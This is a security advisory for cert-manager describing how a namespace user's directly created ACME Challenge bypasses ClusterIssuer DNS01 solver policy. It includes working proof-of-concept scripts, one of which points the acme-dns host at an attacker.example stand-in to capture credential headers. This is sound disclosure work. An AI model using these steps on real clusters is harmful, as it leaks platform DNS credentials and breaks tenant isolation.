GHSA-8rvj-mm4h-c258
cert-manager: Direct ACME Challenge resources can bypass Issuer DNS01 solver policy and use ClusterIssuer DNS credentials
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/cert-manager/cert-manager | >= 1.18.0, < 1.19.6 | 1.19.6 |
| Go | github.com/cert-manager/cert-manager | >= 1.20.0-alpha.0, < 1.20.3 | 1.20.3 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
`Challenge` resources under `acme.cert-manager.io` can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an `Order`, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses `Challenge.spec.solver` as the DNS01 provider configuration.
When the direct Challenge references a `ClusterIssuer`, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the `ClusterIssuer` reference, but the DNS provider configuration itself is attacker-controlled through `Challenge.spec.solver`. This lets a namespace user bypass `Issuer`/`ClusterIssuer` solver selectors such as `dnsZones`, `dnsNames`, and `matchLabels`, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.
In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the `X-Api-User` and `X-Api-Key` headers loaded by cert-manager from the ClusterIssuer resource namespace.
## Attack preconditions
- The attacker can create `challenges.acme.cert-manager.io` resources in at least one namespace.
- The cert-manager controller is running and reconciles ACME `Challenge` resources cluster-wide.
- A usable `ClusterIssuer` exists in the cluster.
- The referenced `ClusterIssuer` has a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled for `ClusterIssuer`.
- The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
## Severity
Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.
## Why this is not just RBAC misconfiguration
cert-manager's documented end-user workflow does not require users to manually create `Challenge` resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled `Challenge.spec.solver` as authoritative for a referenced `ClusterIssuer`.
The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from `issuerRef`, while accepting the DNS provider configuration from the untrusted Challenge object.
## Affected components
- ACME Challenge admission validation
- ACME Challenge controller
- DNS01 solver selection and DNS provider construction
- Default aggregate RBAC for `challenges.acme.cert-manager.io`
## Affected versions tested
The issue was reproduced on:
- `master` commit `2c0f1a6a4`
- latest production release `v1.20.2` commit `e5b7b1845`
- `v1.19.5` commit `cda7b7896`
- `v1.18.6` commit `4699caabb`
See `VERSION_TEST_MATRIX.md` for the command matrix and outputs.
## Technical details
Relevant code paths:
- `internal/apis/acme/validation/challenge.go:44-45`: `ValidateChallenge` returns no errors on create.
- `deploy/crds/acme.cert-manager.io_challenges.yaml`: `spec.solver` is a required user-controlled field on `Challenge`.
- `pkg/controller/acmechallenges/scheduler/scheduler.go:51-58`: scheduler lists all Challenges.
- `pkg/controller/acmechallenges/controller.go:180-197`: scheduler sets `status.processing=true`.
- `pkg/controller/acmechallenges/sync.go:139-183`: controller loads the referenced Issuer and then presents the Challenge.
- `pkg/issuer/acme/dns/dns.go:81`: DNS solver `Present` ignores the issuer object argument.
- `pkg/issuer/acme/dns/dns.go:180-187`: DNS provider config and resource namespace are derived from `Challenge.spec`.
- `pkg/controller/helper.go:39-44`: `ClusterIssuer` references use the cluster resource namespace.
- `pkg/controller/helper.go:66-72`: ambient credentials are allowed based on `issuerRef.kind`.
- `internal/apis/config/controller/v1alpha1/defaults.go:68-69`: ClusterIssuer ambient credentials default to enabled.
- `deploy/charts/cert-manager/templates/rbac.yaml:517-519`: the aggregate edit role can create/update `challenges` and `orders`.
The normal `Order` flow selects a solver from the Issuer:
- `pkg/util/solverpicker/solverpicker.go`: solver selectors are evaluated.
- `pkg/controller/acmeorders/util.go:94-106`: solvers are fetched from the Issuer and selected.
- `pkg/controller/acmeorders/util.go:131-142`: the selected solver is copied into the generated Challenge.
The direct `Challenge` flow skips that selection entirely because the direct object already contains a solver.
## Proof of concept
### PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge
The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.
The ClusterIssuer is configured to use a legitimate acme-dns host for `victim.example.com`. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.
A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.
Run from the cert-manager repository root:
```bash
set -euo pipefail
name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
for i in $(seq 1 90); do
docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
sleep 2
done
docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null
docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
--from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: cluster-prod
spec:
acme:
email: [email protected]
server: https://acme-staging-v02.api.letsencrypt.org/directory
privateKeySecretRef:
name: cluster-prod-account-key
solvers:
- selector:
dnsZones:
- victim.example.com
dns01:
acmeDNS:
host: https://legit-acmedns.example
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: challenge-create-only
namespace: tenant
rules:
- apiGroups: ["acme.cert-manager.io"]
resources: ["challenges"]
verbs: ["create", "get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: bob-challenge-create-only
namespace: tenant
subjects:
- kind: ServiceAccount
name: bob
namespace: tenant
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: challenge-create-only
YAML
echo "bob create challenges: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob create challenges.acme.cert-manager.io -n tenant)"
echo "bob get cert-manager secret: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get secret/cluster-acmedns-account -n cert-manager)"
echo "bob get clusterissuer: $(docker exec "$name" kubectl auth can-i --as=system:serviceaccount:tenant:bob get clusterissuer/cluster-prod 2>/dev/null)"
echo "ClusterIssuer solver policy: $(docker exec "$name" kubectl get clusterissuer cluster-prod -o jsonpath='{.spec.acme.solvers[0].selector.dnsZones[0]}{" "}{.spec.acme.solvers[0].dns01.acmeDNS.host}')"
docker exec -i "$name" kubectl --as=system:serviceaccount:tenant:bob -n tenant apply -f - <<'YAML'
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
name: direct-dns01
spec:
authorizationURL: https://attacker.example/acme/authz/1
dnsName: victim.example.com
issuerRef:
group: cert-manager.io
kind: ClusterIssuer
name: cluster-prod
key: attacker-key
token: attacker-token
type: DNS-01
url: https://attacker.example/acme/chal/1
solver:
dns01:
acmeDNS:
host: https://attacker.example/acmedns
accountSecretRef:
name: cluster-acmedns-account
key: accounts.json
YAML
docker exec "$name" kubectl -n tenant get challenge direct-dns01 \
-o jsonpath='{.spec.issuerRef.kind}{" "}{.spec.dnsName}{" "}{.spec.solver.dns01.acmeDNS.host}{" "}{.spec.solver.dns01.acmeDNS.accountSecretRef.name}{"\n"}'
```
Expected output:
```text
bob create challenges: yes
bob get cert-manager secret: no
bob get clusterissuer: no
ClusterIssuer solver policy: victim.example.com https://legit-acmedns.example
challenge.acme.cert-manager.io/direct-dns01 created
ClusterIssuer victim.example.com https://attacker.example/acmedns cluster-acmedns-account
```
This proves that the API accepts the direct object from a user who cannot read the target secret or ClusterIssuer.
### PoC B: acme-dns provider sends referenced credentials to the configured host
This self-contained unit PoC demonstrates the concrete acme-dns impact: the acme-dns provider uses the configured host and sends credentials from account JSON as HTTP headers.
Run from repository root:
```bash
set -euo pipefail
cat > pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go <<'EOF'
package acmedns
import (
"context"
"net/http"
"net/http/httptest"
"testing"
)
func TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost(t *testing.T) {
var gotUser, gotKey, gotPath string
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotUser = r.Header.Get("X-Api-User")
gotKey = r.Header.Get("X-Api-Key")
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(http.StatusOK)
w.Write([]byte(`{"txt":"ok"}`))
}))
defer ts.Close()
accountJSON := []byte(`{
"victim.example.com": {
"username": "victim-user",
"password": "victim-pass",
"fulldomain": "x.example.org",
"subdomain": "x"
}
}`)
provider, err := NewDNSProviderHostBytes(ts.URL, accountJSON, nil)
if err != nil {
t.Fatal(err)
}
if err := provider.Present(context.Background(), "victim.example.com", "", "txt-value"); err != nil {
t.Fatal(err)
}
if gotPath != "/update" {
t.Fatalf("path = %q, want /update", gotPath)
}
if gotUser != "victim-user" {
t.Fatalf("X-Api-User = %q, want victim-user", gotUser)
}
if gotKey != "victim-pass" {
t.Fatalf("X-Api-Key = %q, want victim-pass", gotKey)
}
}
EOF
docker run --rm \
-v "$PWD":/repo \
-v /tmp/cert-manager-gomod-cache:/go/pkg/mod \
-v /tmp/cert-manager-gobuild-cache:/root/.cache/go-build \
-w /repo golang:1.26-bookworm \
go test ./pkg/issuer/acme/dns/acmedns \
-run TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost \
-count=1 -v
rm pkg/issuer/acme/dns/acmedns/direct_challenge_exfil_tmp_test.go
```
Expected output:
```text
=== RUN TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
--- PASS: TestTmpAcmeDNSPresentSendsAccountSecretToConfiguredHost
```
Combined with PoC A and the code path in `pkg/issuer/acme/dns/dns.go`, this shows that a direct Challenge can select an attacker-controlled acme-dns host while causing cert-manager to load account JSON from the ClusterIssuer resource namespace.
## Credential impact scope
The concrete credential-disclosure proof in this report is for the acme-dns provider: the attacker-controlled `host` receives the `X-Api-User` and `X-Api-Key` values loaded from the referenced account JSON.
For other DNS01 providers, this report should be read as credential use, policy bypass, and DNS mutation risk. The controller may use platform-owned secrets or ambient cloud credentials to perform DNS operations selected by the attacker-controlled Challenge. Provider-specific credential disclosure should not be assumed without a separate provider-level PoC.
## Expected behavior
Users should not be able to create standalone `Challenge` resources that cause cert-manager to use arbitrary solver configuration under the authority of a referenced Issuer or ClusterIssuer. If direct `Challenge` resources are intentionally exposed, the controller should only reconcile Challenges that are owned by cert-manager-created Orders and whose solver config was selected from the referenced Issuer.
## Actual behavior
A user with namespace-level Challenge create permission can create a direct Challenge with arbitrary solver configuration. The controller reconciles it, derives credential namespace and ambient credential permission from `issuerRef`, and uses attacker-controlled provider settings.
## Suggested remediation
Possible mitigations:
- Reject or ignore standalone user-created `Challenge` resources unless the controller or admission layer can confirm an existing cert-manager-created `Order` that owns the Challenge.
- Do not rely only on the presence of an owner reference. Verify the referenced Order exists, is controlled by cert-manager's Order flow, and matches the Challenge by UID, owner reference, labels, DNS name, authorization URL, challenge URL, token/key material, and issuer reference.
- Ensure the solver used by the Challenge was selected from the referenced Issuer/ClusterIssuer by the Order controller. The Challenge controller should not accept manually supplied solver provider configuration outside the Order-controller path.
- Move `Challenge` and `Order` creation permissions out of aggregate `edit` unless direct use is a supported security boundary.
- Add admission validation or CEL rules preventing direct user control over sensitive solver provider fields on standalone or unverifiable Challenges.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258
- https://nvd.nist.gov/vuln/detail/CVE-2026-62290
- https://github.com/cert-manager/cert-manager/pull/8940
- https://github.com/cert-manager/cert-manager/pull/8941
- https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155
- https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16
- https://github.com/cert-manager/cert-manager
- https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6
- https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3